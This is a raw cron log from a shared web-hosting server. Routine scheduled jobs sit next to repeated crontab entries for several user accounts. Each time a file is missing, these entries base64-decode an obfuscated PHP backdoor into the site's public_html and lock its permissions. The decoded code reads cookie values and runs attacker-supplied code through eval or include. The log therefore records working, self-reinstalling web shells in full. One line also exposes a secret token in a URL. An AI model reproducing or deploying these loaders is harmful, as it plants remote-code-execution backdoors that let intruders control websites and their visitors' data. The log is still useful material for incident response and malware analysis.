Mar  1 08:12:02 medusa CROND[12582]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:12:02 medusa CROND[12583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:12:02 medusa CROND[12584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:12:02 medusa CROND[12605]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:13:01 medusa CROND[2455]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 08:13:01 medusa CROND[2456]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:13:01 medusa CROND[2457]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:13:01 medusa CROND[2459]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:13:01 medusa CROND[2458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:13:01 medusa CROND[2462]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:13:01 medusa CROND[2463]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:13:01 medusa CROND[2464]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:13:01 medusa CROND[2467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:13:01 medusa CROND[2502]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:13:01 medusa CROND[2503]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:13:01 medusa CROND[2504]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:13:01 medusa CROND[2505]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:13:01 medusa CROND[2510]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:14:01 medusa CROND[24208]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:14:01 medusa CROND[24209]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:14:01 medusa CROND[24210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:14:01 medusa CROND[24211]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:14:01 medusa CROND[24212]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:14:01 medusa CROND[24213]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:14:01 medusa CROND[24214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:14:01 medusa CROND[24218]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:14:01 medusa CROND[24217]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:14:01 medusa CROND[24220]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:14:01 medusa CROND[24221]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:14:01 medusa CROND[24224]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoN